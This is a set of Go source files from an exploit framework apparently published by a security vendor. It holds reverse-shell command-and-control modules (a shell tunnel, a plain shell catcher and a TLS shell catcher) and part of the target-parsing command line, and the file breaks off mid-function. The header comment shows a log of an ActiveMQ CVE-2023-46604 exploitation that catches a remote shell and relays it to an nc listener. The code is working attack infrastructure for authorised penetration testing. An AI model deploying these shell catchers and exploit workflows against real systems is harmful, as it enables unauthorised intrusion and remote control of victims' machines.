// shelltunnel is a simple C2 that copies shell traffic between a reverse shell origin and
// a connectback server. It essentially allows for this setup:
//
// | Box 1 |                       |     Box 2    |                      |    Box 3     |
// | nc -l | <- shell traffic ->   | shell tunnel | <- shell traffic ->  | shell origin |
//
// Where 'nc -l' is basically any C&C you want that accepts reverse shells, box 2 is the attacker
// box, and box 3 is the victim. In this example, go-exploit on box 2 (attacker box) can act as
// an egress for the reverse shell generated on the victim (box 3). The shell tunnel will just
// copy the traffic data between the two boxes (1 & 3). This is appealing over something like a socks5
// proxy or more advanced tunneling because it simply works and requires, for the exploit dev,
// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever).
//
// Usage example using an unencrypted reverse shell:
//
//	albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12
//	time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270"
//	time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false
//	time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270"
//	time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ"
//	time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting...
//	time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit"
//	time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload"
//	time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload"
//	time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440"
//	time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!"
//	time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
//
// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener
// at 10.9.49.12:1270. The shell there looks like this:
//
//	parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270
//	Listening on 0.0.0.0 1270
//	Connection received on 10.9.49.192 51478
//	pwd
//	/opt/apache-activemq-5.15.2
//
// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so:
//
//	./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen
//
// And the reverse shell can now be caught by openssl:
//
//	parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270
//	pwd
//	/opt/apache-activemq-5.15.2
package shelltunnel

import (
	"crypto/tls"
	"errors"
	"flag"
	"fmt"
	"io"
	"net"
	"strconv"
	"strings"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/encryption"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/protocol"
)

type Server struct {
	// the TCP listener that will accept all the connections
	Listener net.Listener

	// the server address/hostname to tunnel the data to
	ConnectBackHost string

	// the server port to tunnel the data to
	ConnectBackPort int

	// indicates if we should use an encrypted tunnel to the server
	ConnectBackSSL bool

	// indicates if we should be listening as an SSL server
	SSLShellServer bool

	// The file path to the user provided private key (if provided)
	PrivateKeyFile string

	// The file path to the user provided certificate (if provided)
	CertificateFile string

	// Underlying C2 channel with metadata and session tracking
	channel *channel.Channel
}

var (
	serverSingleton *Server

	ErrTLSListener = errors.New("tls listener init")
)

func GetInstance() *Server {
	if serverSingleton == nil {
		serverSingleton = new(Server)
	}

	return serverSingleton
}

func (shellTunnel *Server) CreateFlags() {
	flag.StringVar(&shellTunnel.ConnectBackHost, "shellTunnel.cbHost", "", "The server to tunnel the data back to")
	flag.IntVar(&shellTunnel.ConnectBackPort, "shellTunnel.cbPort", 1270, "The server port to tunnel the data back to")
	flag.BoolVar(&shellTunnel.ConnectBackSSL, "shellTunnel.cbSSL", false, "Indicates if the connect-back should use SSL/TLS")

	// optional for when SSL server is enabled
	flag.BoolVar(&shellTunnel.SSLShellServer, "shellTunnel.sslListen", false, "Indicates if we should listen as an SSL/TLS server")
	flag.StringVar(&shellTunnel.PrivateKeyFile, "shellTunnel.PrivateKeyFile", "", "A private key to use when being an SSL server")
	flag.StringVar(&shellTunnel.CertificateFile, "shellTunnel.CertificateFile", "", "The certificate to use when being an SSL server")
}

func (shellTunnel *Server) Init(channel *channel.Channel) bool {
	if channel.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		channel.Shutdown = &shutdown
	}
	shellTunnel.channel = channel
	if channel.IsClient {
		output.PrintFrameworkError("Called ShellTunnel as a client. Use lhost and lport.")

		return false
	}
	if shellTunnel.ConnectBackHost == "" {
		output.PrintFrameworkError("Failed to provide a connect back host")

		return false
	}
	if shellTunnel.ConnectBackPort == 0 {
		output.PrintFrameworkError("Failed to provide a connect back port")

		return false
	}

	output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port)

	var err error
	if shellTunnel.SSLShellServer {
		shellTunnel.Listener, err = shellTunnel.createTLSListener(channel)
	} else {
		shellTunnel.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port))
	}

	if err != nil {
		output.PrintFrameworkError("Couldn't create the server: " + err.Error())

		return false
	}

	return true
}

func (shellTunnel *Server) Shutdown() bool {
	// Account for non-running case
	if shellTunnel.Channel() == nil {
		return true
	}
	output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for shell tunnel")
	if len(shellTunnel.Channel().Sessions) > 0 {
		for k, session := range shellTunnel.Channel().Sessions {
			output.PrintfFrameworkStatus("Connection closed: %s", session.RemoteAddr)
			shellTunnel.Channel().RemoveSession(k)
		}
	}
	shellTunnel.Listener.Close()

	return true
}

func (shellTunnel *Server) Channel() *channel.Channel {
	return shellTunnel.channel
}

func (shellTunnel *Server) Run(timeout int) {
	// terminate the server if no shells come in within timeout seconds
	go func() {
		time.Sleep(time.Duration(timeout) * time.Second)
		if !shellTunnel.Channel().HasSessions() {
			output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
			shellTunnel.Channel().Shutdown.Store(true)
		}
	}()
	go func() {
		for {
			if shellTunnel.Channel().Shutdown.Load() {
				shellTunnel.Shutdown()

				break
			}
			time.Sleep(10 * time.Millisecond)
		}
	}()

	// Accept arbitrary connections. In the future we need something for the
	// user to select which connection to make active
	for {
		client, err := shellTunnel.Listener.Accept()
		if err != nil {
			if !strings.Contains(err.Error(), "use of closed network connection") {
				output.PrintFrameworkError(err.Error())
			}

			return
		}
		if shellTunnel.Channel().Shutdown.Load() {
			break
		}
		output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr())
		// ShellTunnel is a bit of an outliar as we need to track the incoming connections and also the
		// tunneled connections. This will allow for cleanup of connections on both ends of the pipe,
		// but may not be immediately clear.
		shellTunnel.Channel().AddSession(&client, client.RemoteAddr().String())
		go handleTunnelConn(client, shellTunnel.ConnectBackHost, shellTunnel.ConnectBackPort, shellTunnel.ConnectBackSSL, shellTunnel.channel)
		time.Sleep(10 * time.Millisecond)
	}
}

func (shellTunnel *Server) createTLSListener(channel *channel.Channel) (net.Listener, error) {
	var ok bool
	var err error
	var certificate tls.Certificate
	if len(shellTunnel.CertificateFile) != 0 && len(shellTunnel.PrivateKeyFile) != 0 {
		certificate, err = tls.LoadX509KeyPair(shellTunnel.CertificateFile, shellTunnel.PrivateKeyFile)
		if err != nil {
			return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener)
		}
	} else {
		output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
		certificate, ok = encryption.GenerateCertificate()
		if !ok {
			return nil, fmt.Errorf("GenerateCertificate failed %w", ErrTLSListener)
		}
	}

	output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port)
	listener, err := tls.Listen(
		"tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{
			Certificates: []tls.Certificate{certificate},
			// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
			MinVersion: tls.VersionSSL30,
		})
	if err != nil {
		return nil, fmt.Errorf("%s %w", err.Error(), ErrTLSListener)
	}

	return listener, nil
}

func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bool, ch *channel.Channel) {
	defer clientConn.Close()

	// attempt to connect back to the serve. MixedConnect is both proxy aware and can
	// produce an ssl or unencrypted connection so works pretty nice here
	serverConn, ok := protocol.MixedConnect(host, port, ssl)
	if !ok {
		// This is a bit of a hack as the type of C2 callbacks is not tracked and we will have 1
		// in the sessions from the client call. This checks if it's 1 or less and if it is then it
		// will drop future conns.
		if len(ch.Sessions) <= 1 {
			output.PrintfFrameworkError("Failed to connect back to %s:%d closing server", host, port)
			ch.Shutdown.Store(true)

			return
		}
		output.PrintfFrameworkError("Failed to connect back to %s:%d", host, port)

		return
	}
	ch.AddSession(&serverConn, serverConn.RemoteAddr().String())
	output.PrintfFrameworkSuccess("Connect back to %s:%d success!", host, port)

	defer serverConn.Close()

	done := make(chan struct{})

	// copy between the two endpoints until one dies
	go func() {
		_, _ = io.Copy(serverConn, clientConn)
		done <- struct{}{}
	}()

	go func() {
		_, _ = io.Copy(clientConn, serverConn)
		done <- struct{}{}
	}()

	<-done
	// Trigger shutdown after the first connection is dropped. in a future where multiple are handled
	// this might not be ideal. Revist this when that time comes.
	ch.Shutdown.Store(true)
}


================================================
FILE: c2/simpleshell/simpleshellclient.go
================================================
package simpleshell

import (
	"net"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/c2/cli"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/protocol"
)

type Client struct {
	ConnectAddr string
	ConnectPort int
	channel     *channel.Channel
}

var clientSingleton *Client

func GetClientInstance() *Client {
	if clientSingleton == nil {
		clientSingleton = new(Client)
	}

	return clientSingleton
}

func (shellClient *Client) CreateFlags() {
}

func (shellClient *Client) Shutdown() bool {
	// Account for non-running case
	if shellClient.Channel() == nil {
		return true
	}
	ok := shellClient.Channel().RemoveSessions()

	// we done here
	output.PrintfFrameworkStatus("Connection closed")

	return ok
}

func (shellClient *Client) Channel() *channel.Channel {
	return shellClient.channel
}

func (shellClient *Client) Init(channel *channel.Channel) bool {
	if channel.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		channel.Shutdown = &shutdown
	}

	shellClient.ConnectAddr = channel.IPAddr
	shellClient.ConnectPort = channel.Port
	shellClient.channel = channel

	if !channel.IsClient {
		output.PrintFrameworkError("Called SimpleShellClient as a server. Use bport.")

		return false
	}

	if channel.Port == 0 {
		output.PrintFrameworkError("Provided an invalid bind port.")

		return false
	}

	return true
}

func (shellClient *Client) Run(timeout int) {
	conn, ok := connect(shellClient.ConnectAddr, shellClient.ConnectPort, timeout)
	if !ok {
		return
	}
	// Track if the C2 is indicated to shutdown for any reason.
	go func() {
		for {
			if shellClient.Channel().Shutdown.Load() {
				shellClient.Shutdown()

				break
			}
			time.Sleep(10 * time.Millisecond)
		}
	}()

	output.PrintfFrameworkStatus("Active shell on %s:%d", shellClient.ConnectAddr, shellClient.ConnectPort)
	shellClient.Channel().AddSession(&conn, conn.RemoteAddr().String())

	cli.Basic(conn, shellClient.channel)

	shellClient.Channel().Shutdown.Store(true)
}

func connect(host string, port int, timeout int) (net.Conn, bool) {
	// loop every three seconds until timeout
	for i := 0; i < timeout; i += 3 {
		// TCPConnect is proxy aware, so it will use the proxy if configured
		conn, ok := protocol.TCPConnect(host, port)
		if ok {
			output.PrintfFrameworkSuccess("Connected to %s:%d!", host, port)

			return conn, true
		}
		// this is technically not correct. TCPConnect itself has a 10 second timeout. If the server doesn't
		// send a RST when we try to connect then we'll wait the full 10 + this 3 for a full 13... which means
		// we won't honor the timeout correctly.
		time.Sleep(3 * time.Second)
	}

	return nil, false
}


================================================
FILE: c2/simpleshell/simpleshellserver.go
================================================
// A simple unencrypted reverse shell C2.
package simpleshell

import (
	"net"
	"strconv"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/c2/cli"
	"github.com/vulncheck-oss/go-exploit/output"
)

// The SimpleShellServer implements a basic reverse shell catcher. The server listens on a user provided
// port and catches incoming unencrypted connections. The c2 implements a basic command line that lacks
// any type of useful bash-like features (history, interactive behavior, displaying of stderr, etc).
// The server can accept multiple connections, but the user has no way of swapping between them unless
// the terminate the connection.
type Server struct {
	Listener net.Listener
	channel  *channel.Channel
}

var serverSingleton *Server

// A basic singleton interface for the c2.
func GetServerInstance() *Server {
	if serverSingleton == nil {
		serverSingleton = new(Server)
	}

	return serverSingleton
}

// User options for the simple shell server (currently empty).
func (shellServer *Server) CreateFlags() {
}

// Get the underlying C2 channel with metadata and session information.
func (shellServer *Server) Channel() *channel.Channel {
	return shellServer.channel
}

// Shutdown the C2 and cleanup any active connections.
func (shellServer *Server) Shutdown() bool {
	// Account for non-running case
	if shellServer.Channel() == nil {
		return true
	}
	output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for shell server")
	if len(shellServer.Channel().Sessions) > 0 {
		for k, session := range shellServer.Channel().Sessions {
			output.PrintfFrameworkStatus("Connection closed for shell server: %s", session.RemoteAddr)
			shellServer.Channel().RemoveSession(k)
		}
	}
	shellServer.Listener.Close()

	return true
}

// Validate configuration and create the listening socket.
func (shellServer *Server) Init(channel *channel.Channel) bool {
	if channel.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		channel.Shutdown = &shutdown
	}
	shellServer.channel = channel
	if channel.IsClient {
		output.PrintFrameworkError("Called SimpleShellServer as a client. Use lhost and lport.")

		return false
	}

	output.PrintfFrameworkStatus("Starting listener on %s:%d", channel.IPAddr, channel.Port)

	var err error
	shellServer.Listener, err = net.Listen("tcp", channel.IPAddr+":"+strconv.Itoa(channel.Port))
	if err != nil {
		output.PrintFrameworkError("Couldn't create the server: " + err.Error())

		return false
	}

	return true
}

// Listen for incoming.
func (shellServer *Server) Run(timeout int) {
	// mutex for user input
	var cliLock sync.Mutex

	// terminate the server if no shells come in within timeout seconds
	go func() {
		time.Sleep(time.Duration(timeout) * time.Second)
		if !shellServer.Channel().HasSessions() {
			output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
			shellServer.Channel().Shutdown.Store(true)
		}
	}()
	// Track if the shutdown is signaled for any reason.
	go func() {
		for {
			if shellServer.Channel().Shutdown.Load() {
				shellServer.Shutdown()

				break
			}
			time.Sleep(10 * time.Millisecond)
		}
	}()
	// Accept arbitrary connections. In the future we need something for the
	// user to select which connection to make active
	for {
		client, err := shellServer.Listener.Accept()
		if err != nil {
			if !strings.Contains(err.Error(), "use of closed network connection") {
				output.PrintFrameworkError(err.Error())
			}

			break
		}
		output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr())
		// Add the session for tracking first, so it can be cleaned up.
		shellServer.Channel().AddSession(&client, client.RemoteAddr().String())

		go handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel)
	}
}

func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, ch *channel.Channel) {
	// connections will stack up here. Currently that will mean a race
	// to the next connection but we can add in attacker handling of
	// connections latter
	cliLock.Lock()
	defer cliLock.Unlock()

	// close the connection when the shell is complete
	defer conn.Close()

	// Only complete the full session handshake once
	if !ch.Shutdown.Load() {
		output.PrintfFrameworkStatus("Active shell from %v", remoteAddr)
		cli.Basic(conn, ch)
	}
}


================================================
FILE: c2/sslshell/sslshellserver.go
================================================
// sslshell is a simple c2 that listens for incoming ssl/tls connections in order to establish a reverse shell.
//
// The sslshell can generate it's own server certificate, or the user can provide their own. It's often a smart idea
// to provide unique certificate to avoid fingerprinting. To generate the required files you can use openssl:
//
//	openssl genpkey -algorithm RSA -out private_key.pem
//	openssl req -new -key private_key.pem -out csr.pem
//	openssl x509 -req -days 365 -in csr.pem -signkey private_key.pem -out certificate.pem
//
// The private_key.pem and certificate.pem are then provided on the command line like so:
//
//	./cve-2021-22205_linux-arm64 -e -sslShellServer.PrivateKeyFile private_key.pem -sslShellServer.ServerField certificate.pem ...
//
// If a certificate is not provide, this c2 will generate one on the fly, but it is likely vulnerable to fingerprinting.
//
// This c2 can accept multiple connections, but it currently can only handle interacting with one at a time.
package sslshell

import (
	"crypto/tls"
	"flag"
	"fmt"
	"net"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/c2/cli"
	"github.com/vulncheck-oss/go-exploit/encryption"
	"github.com/vulncheck-oss/go-exploit/output"
)

type Server struct {
	// The socket the server is listening on
	Listener net.Listener
	// The file path to the user provided private key (if provided)
	PrivateKeyFile string
	// The file path to the user provided certificate (if provided)
	CertificateFile string
	// Upstream c2 channel, used for signaling for shutdowns and status reporting
	channel *channel.Channel
}

var singleton *Server

// Get a singleton instance of the sslserver c2.
func GetInstance() *Server {
	if singleton == nil {
		singleton = new(Server)
	}

	return singleton
}

// Create the flags for accepting custom TLS configurations.
func (shellServer *Server) CreateFlags() {
	// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).
	// so first check if these values have already been generated
	if flag.Lookup("sslShellServer.PrivateKeyFile") == nil {
		flag.StringVar(&shellServer.PrivateKeyFile, "sslShellServer.PrivateKeyFile", "", "A private key to use with the SSL server")
		flag.StringVar(&shellServer.CertificateFile, "sslShellServer.CertificateFile", "", "The certificate to use with the SSL server")
	}
}

// Shutdown the C2 and close server and client connections when applicable.
func (shellServer *Server) Shutdown() bool {
	// Account for non-running case
	if shellServer.Channel() == nil {
		return true
	}
	output.PrintFrameworkStatus("C2 received shutdown, killing server and client sockets for SSL shell server")
	if len(shellServer.channel.Sessions) > 0 {
		for k, session := range shellServer.channel.Sessions {
			output.PrintfFrameworkStatus("Connection closed: %s", session.RemoteAddr)
			shellServer.channel.RemoveSession(k)
		}
	}
	shellServer.Listener.Close()

	return true
}

// Return the underlying C2 channel with metadata and session information.
func (shellServer *Server) Channel() *channel.Channel {
	return shellServer.channel
}

// Parses the user provided files or generates the certificate files and starts
// the TLS listener on the user provided IP/port.
func (shellServer *Server) Init(channel *channel.Channel) bool {
	if channel.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		channel.Shutdown = &shutdown
	}
	shellServer.channel = channel
	if channel.IsClient {
		output.PrintFrameworkError("Called SSLShellServer as a client. Use lhost and lport.")

		return false
	}

	var ok bool
	var err error
	var certificate tls.Certificate
	if len(shellServer.CertificateFile) != 0 && len(shellServer.PrivateKeyFile) != 0 {
		certificate, err = tls.LoadX509KeyPair(shellServer.CertificateFile, shellServer.PrivateKeyFile)
		if err != nil {
			output.PrintfFrameworkError("Error loading certificate: %s", err.Error())

			return false
		}
	} else {
		output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
		certificate, ok = encryption.GenerateCertificate()
		if !ok {
			return false
		}
	}

	output.PrintfFrameworkStatus("Starting TLS listener on %s:%d", channel.IPAddr, channel.Port)
	shellServer.Listener, err = tls.Listen(
		"tcp", fmt.Sprintf("%s:%d", channel.IPAddr, channel.Port), &tls.Config{
			Certificates: []tls.Certificate{certificate},
			// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
			MinVersion: tls.VersionSSL30,
		})
	if err != nil {
		output.PrintfError("Error loading certificate: %s", err.Error())

		return false
	}

	return true
}

// Listens for incoming SSL/TLS connections spawns a reverse shell handler for each new connection.
func (shellServer *Server) Run(timeout int) {
	// mutex for user input
	var cliLock sync.Mutex

	// terminate the server if no shells come in within timeout seconds
	go func() {
		time.Sleep(time.Duration(timeout) * time.Second)
		if !shellServer.channel.HasSessions() {
			output.PrintFrameworkError("Timeout met. Shutting down shell listener.")
			shellServer.channel.Shutdown.Store(true)
		}
	}()
	go func() {
		for {
			if shellServer.channel.Shutdown.Load() {
				shellServer.Shutdown()

				break
			}
			time.Sleep(10 * time.Millisecond)
		}
	}()
	// Accept arbitrary connections. In the future we need something for the
	// user to select which connection to make active
	for {
		client, err := shellServer.Listener.Accept()
		if err != nil {
			if !strings.Contains(err.Error(), "use of closed network connection") {
				output.PrintFrameworkError(err.Error())
			}

			return
		}
		output.PrintfFrameworkSuccess("Caught new shell from %v", client.RemoteAddr())

		// Add the session for tracking first, so it can be cleaned up.
		shellServer.Channel().AddSession(&client, client.RemoteAddr().String())

		go handleSimpleConn(client, &cliLock, client.RemoteAddr(), shellServer.channel)
	}
}

func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net.Addr, channel *channel.Channel) {
	// connections will stack up here. Currently that will mean a race
	// to the next connection but we can add in attacker handling of
	// connections latter
	cliLock.Lock()
	defer cliLock.Unlock()

	// close the connection when the shell is complete
	defer conn.Close()

	// Only complete the full session handshake once
	if !channel.Shutdown.Load() {
		output.PrintfFrameworkStatus("Active shell from %v", remoteAddr)
		cli.Basic(conn, channel)
	}
}


================================================
FILE: cli/commandline.go
================================================
// Package cli defines the command line interface interaction logic for an exploit utilizing go-exploit.
//
// Generally most users will not use this package unless implementing a command line helper or new C2 interaction.
package cli

import (
	"bufio"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"net"
	"os"
	"strconv"
	"strings"

	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/config"
	"github.com/vulncheck-oss/go-exploit/db"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/payload"
	"github.com/vulncheck-oss/go-exploit/protocol"
)

// VulnCheck IPIntel data is shipped in single line JSON blobs. There is substantially more metadata, but
// for the purposes of the scann we need to support:
// {"ip":"127.0.0.1","port":80,"ssl":false}.
type IPIntel struct {
	IP   string `json:"ip"`
	Port int    `json:"port"`
	SSL  bool   `json:"ssl"`
}

// A structure that defines the special flags this exploit implements.
type CustomFlag struct {
	Name    string
	Type    string
	Default string
}

// Increment the provided IP address.
func inc(ip net.IP) {
	for j := len(ip) - 1; j >= 0; j-- {
		ip[j]++
		if ip[j] > 0 {
			break
		}
	}
}

// Generate all the IP Addresses specified by the CIDR. This... could consume a decent amount of memory.
func generateIPv4CIDR(cidr string) []string {
	cidrSlice := make([]string, 0)
	ip, ipNet, err := net.ParseCIDR(cidr)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return cidrSlice
	}

	for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) {
		cidrSlice = append(cidrSlice, ip.String())
	}

	return cidrSlice
}

func buildRhosts(conf *config.Config, rhosts string, rports string) bool {
	// convert the provided Rports to a slice of int
	rportsSlice := make([]int, 0)
	if len(rports) != 0 {
		splitPorts := strings.Split(rports, ",")
		for _, port := range splitPorts {
			portInt, err := strconv.Atoi(port)
			if err != nil {
				output.PrintfFrameworkError("Failed to convert provided rports: %s", err)

				return false
			}
			rportsSlice = append(rportsSlice, portInt)
		}
	} else {
		rportsSlice = append(rportsSlice, conf.Rport)
	}

	// convert the rhosts csv into a slice of strings
	rhostsSlice := make([]string, 0)
	if len(rhosts) != 0 {
		splitRhosts := strings.Split(rhosts, ",")
		for _, host := range splitRhosts {
			if strings.Contains(host, "/") {
				rhostsSlice = append(rhostsSlice, generateIPv4CIDR(host)...)
			} else {
				rhostsSlice = append(rhostsSlice, host)
			}
		}
	} else {
		rhostsSlice = append(rhostsSlice, conf.Rhost)
	}

	// determine the SSL status to assign everything
	SSL := config.SSLDisabled
	if conf.SSL {
		SSL = config.SSLEnabled
	} else if conf.DetermineSSL {
		SSL = config.SSLAutodiscover
	}

	// convert rhostsSlice and rportsSlices to many RhostTriplet. Obviously
	// this will consume a lot of memory if you provide a ton of ip/port combos
	// so probably just don't do that ok? Like 1 million is probably fine, right?
	// 1 billion, not so much.
	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	for iHost := range rhostsSlice {
		for iPort := range rportsSlice {
			triplet := config.RhostTriplet{
				Rhost: rhostsSlice[iHost],
				Rport: rportsSlice[iPort],
				SSL:   SSL,
			}
			conf.RhostsNTuple = append(conf.RhostsNTuple, triplet)
		}
	}

	return true
}

// Converts a CSV / triplet into a config.RhostTriplet to be used by the framework.
func parseTriplet(conf *config.Config, line string) bool {
	triplet := strings.Split(line, ",")
	if len(triplet) != 3 {
		output.PrintfFrameworkError("Failed to convert the CSV into a triplet: %s", line)

		return false
	}

	portInt, err := strconv.Atoi(triplet[1])
	if err != nil {
		output.PrintfFrameworkError("Failed to convert the provided rport: %s", triplet[1])

		return false
	}

	// determine the SSL status to assign everything
	SSL := config.SSLDisabled
	if len(triplet[2]) != 0 {
		SSL = config.SSLEnabled
	} else if conf.DetermineSSL {
		SSL = config.SSLAutodiscover
	}

	entry := config.RhostTriplet{
		Rhost: triplet[0],
		Rport: portInt,
		SSL:   SSL,
	}
	conf.RhostsNTuple = append(conf.RhostsNTuple, entry)

	return true
}

// Converts a tuple (e.g. host.com:80) into a config.RhostTriplet to be used by the framework.
func parseTuple(conf *config.Config, line string) bool {
	// Use last index in case line contains an ipv6 address
	lastIndex := strings.LastIndex(line, ":")
	if lastIndex == -1 {
		output.PrintFrameworkError("The tuple doesn't contain a ':' character")

		return false
	}

	portInt, err := strconv.Atoi(line[lastIndex+1:])
	if err != nil {
		output.PrintfFrameworkError("Failed to convert the provided rport: %s", line[lastIndex+1:])

		return false
	}

	// user configured SSL autodiscovery
	SSL := config.SSLDisabled
	if conf.DetermineSSL {
		SSL = config.SSLAutodiscover
	}

	entry := config.RhostTriplet{
		Rhost: line[:lastIndex],
		Rport: portInt,
		SSL:   SSL,
	}
	conf.RhostsNTuple = append(conf.RhostsNTuple, entry)

	return true
}

// Converts an VulnCheck IP Intel JSON object into a config.RhostTriplet to be used by the framework.
func parseIPIntel(conf *config.Config, line string) bool {
	var intel map[string]interface{}

	err := json.Unmarshal([]byte(line), &intel)
	if err != nil {
		output.PrintfFrameworkError("Failed to unmarshal JSON: %s", line)

		return false
	}

	// determine the SSL status to assign everything
	SSL := config.SSLDisabled
	if intel["ssl"].(bool) {
		SSL = config.SSLEnabled
	} else if conf.DetermineSSL {
		SSL = config.SSLAutodiscover
	}

	entry := config.RhostTriplet{
		Rhost: intel["ip"].(string),
		Rport: int(intel["port"].(float64)),
		SSL:   SSL,
	}
	conf.RhostsNTuple = append(conf.RhostsNTuple, entry)

	return true
}

// Consumes a file of remote hosts. The allowed formats are:
// 1. ip,port,<any value for ssl>
// 2. ip:port
// 3. VulnCheck IP Intel JSON
// The file can also be "-" which means stdin.
// Return true if conf.RhostsNTuple is not 0.
func parseRhostsFile(conf *config.Config, rhostsFile string) bool {
	hostsFile := os.Stdin
	if rhostsFile != "-" {
		tmpHostsFile, err := os.Open(rhostsFile)
		if err != nil {
			output.PrintFrameworkError(err.Error())

			return false
		}
		hostsFile = tmpHostsFile
		defer hostsFile.Close()
	}

	conf.RhostsNTuple = make([]config.RhostTriplet, 0)
	lineScan := bufio.NewScanner(hostsFile)
	for lineScan.Scan() {
		line := lineScan.Text()
		switch {
		case strings.HasPrefix(line, "{") && strings.HasSuffix(line, "}"):
			if !parseIPIntel(conf, line) {
				return false
			}
		case strings.Contains(line, ","):
			if !parseTriplet(conf, line) {
				return false
			}
		case strings.Contains(line, ":"):
			if !parseTuple(conf, line) {
				return false
			}
		case len(line) == 0:
			return len(conf.RhostsNTuple) != 0
		default:
			output.PrintfFrameworkError("Unexpected rhosts-file line: %s", line)

			return false
		}
	}

	return len(conf.RhostsNTuple) != 0
}

// parse the user provided rhosts into config.Config.
func handleRhostsOptions(conf *config.Config, rhosts string, rports string, rhostsFile string) bool {
	if len(rhostsFile) != 0 {
		return parseRhostsFile(conf, rhostsFile)
	}

	// dump the selected user agent to debug
	output.PrintfFrameworkDebug("Using the HTTP User-Agent: %s", protocol.GlobalUA)

	return buildRhosts(conf, rhosts, rports)
}

func commonValidate(conf *config.Config, rhosts string, rports string, rhostsFile string) bool {
	switch {
	case len(conf.Rhost) == 0 && len(rhosts) == 0 && len(rhostsFile) == 0:
		output.PrintFrameworkError("Missing required option 'rhost', 'rhosts', or 'rhosts-file'")

		return false
	case conf.Rport == 0 && len(rports) == 0 && len(rhostsFile) == 0:
		output.PrintFrameworkError("Missing required option 'rport', 'rports', or 'rhosts-file'")

		return false
	case len(conf.Rhost) != 0 && len(rhosts) != 0:
		output.PrintFrameworkError("'rhost' and 'rhosts' are mutually exclusive")

		return false
	case len(conf.Rhost) != 0 && len(rhostsFile) != 0:
		output.PrintFrameworkError("'rhost' and 'rhosts-file' are mutually exclusive")

		return false
	case len(rhosts) != 0 && len(rhostsFile) != 0:
		output.PrintFrameworkError("'rhosts' and 'rhosts-file' are mutually exclusive")

		return false
	case !conf.DoVerify && !conf.DoVersionCheck && !conf.DoExploit:
